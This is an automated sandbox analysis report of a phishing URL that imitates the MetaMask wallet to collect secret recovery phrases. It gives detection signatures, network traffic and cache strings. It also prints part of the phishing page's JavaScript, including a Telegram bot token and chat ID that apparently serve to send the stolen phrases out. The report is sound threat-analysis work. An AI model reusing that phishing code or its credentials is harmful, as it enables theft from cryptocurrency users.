Edit tour

Windows Analysis Report
https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari

Overview

General Information

Sample URL:	https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari
Analysis ID:	1637000
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Yara detected HtmlPhish64

Javascript uses Telegram API

Creates files inside the system directory

Deletes files inside the Windows folder

Javascript checks online IP of machine

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6640 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6868 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1888,i,16178988422875054378,15397366870116851092,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2248 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 3776 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.2.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_64	Yara detected HtmlPhish_64	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari

Avira URL Cloud: detection malicious, Label: malware

Phishing

AI detected phishing page

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html

Joe Sandbox AI: Score: 9 Reasons: The brand 'Metamask' is a known cryptocurrency wallet service., The legitimate domain for Metamask is 'metamask.io'., The provided URL 'pub-160645733abe48e1a173755d32058a26.r2.dev' does not match the legitimate domain., The URL uses a subdomain structure that is not associated with Metamask., The domain extension '.dev' is unusual for Metamask and could indicate a phishing attempt., The presence of a field asking for a 'Secret Recovery Phrase' is a common phishing tactic targeting cryptocurrency users. DOM: 1.2.pages.csv

Yara detected HtmlPhish64

Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Javascript uses Telegram API

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html

HTTP Parser: const wordselect = document.getelementbyid("word"); const phraseinput = document.queryselector(".phrase-input"); const preloader = document.queryselector(".preloader"); const count2 = document.queryselector(".count"); const done = document.queryselector(".done-box"); const nodone = document.queryselector(".no-done"); const btnconfirm = document.queryselector(".btn-cofirm"); const errbox = document.queryselector(".errbox"); const eye = document.queryselector(".eye"); const form = document.queryselector(".form-main"); let offwords = ["fuck", "motherfucker", "shit", "fool", "asshole", "test", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "testing", "checking", "robot", "spam", "scam", "fucker", "/", "-", "?", "&", "%", "#", "@", "!", "~", "`", ":", ";", ">", "<", "+", "^", "()", "*", "$"]; let ipinfo = {}; const token = "6913038045:aafwcwdfr0y_ha6ub6hvlair_zcpy6lat34"; const chatid = "566329468...

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html

Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html	HTTP Parser: No favicon
Source: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html	HTTP Parser: No favicon

Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.181.227
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /03?id=0EcoCp6Ari HTTP/1.1Host: mr.ahmed-elgamal.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /03/?id=0EcoCp6Ari HTTP/1.1Host: mr.ahmed-elgamal.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://pub-160645733abe48e1a173755d32058a26.r2.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://pub-160645733abe48e1a173755d32058a26.r2.devsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/d2.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/main.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/prog.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/icon.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/eyeslash.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/tad1.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/d2.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://pub-160645733abe48e1a173755d32058a26.r2.devSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/prog.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/eyeslash.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/main.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/tad1.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mgs/icon.png HTTP/1.1Host: polynethub.netlify.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json HTTP/1.1Host: ipinfo.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: mr.ahmed-elgamal.com
Source: global traffic	DNS traffic detected: DNS query: pub-160645733abe48e1a173755d32058a26.r2.dev
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: polynethub.netlify.app
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io

Source: chromecache_67.1.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_76.1.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=378607
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=449857
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=470258
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.chromium.org/p/chromium/issues/detail?id=589347
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.jquery.com/ticket/12359
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.jquery.com/ticket/13378
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=137337
Source: chromecache_67.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_67.1.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_67.1.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_60.1.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_67.1.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#common-serializing-idioms
Source: chromecache_67.1.dr	String found in binary or memory: https://drafts.csswg.org/cssom/#resolved-values
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLBT5Z1JlFc-K.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLBT5Z1xlFQ.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLCz7Z1JlFc-K.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDD4Z1JlFc-K.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDD4Z1xlFQ.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJfecg.woff2)
Source: chromecache_69.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/poppins/v22/pxiEyp8kv8JHgFVrJJnecmNE.woff2)
Source: chromecache_67.1.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/3229
Source: chromecache_67.1.dr	String found in binary or memory: https://github.com/eslint/eslint/issues/6125
Source: chromecache_67.1.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_67.1.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_67.1.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_75.1.dr	String found in binary or memory: https://google.com
Source: chromecache_67.1.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_67.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#category-listed
Source: chromecache_67.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled
Source: chromecache_67.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled
Source: chromecache_67.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled
Source: chromecache_67.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_67.1.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_67.1.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_61.1.dr, chromecache_56.1.dr	String found in binary or memory: https://ipinfo.io/missingauth
Source: chromecache_67.1.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_67.1.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_67.1.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_67.1.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_67.1.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_67.1.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_67.1.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_67.1.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_67.1.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_67.1.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_67.1.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_75.1.dr	String found in binary or memory: https://pub-160645733abe48e1a173755d32058a26.r2.dev/index.html
Source: chromecache_67.1.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_67.1.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_67.1.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a
Source: chromecache_60.1.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6640_838594937

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6640_838594937

Jump to behavior

Source: classification engine

Classification label: mal68.phis.win@22/45@18/9

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
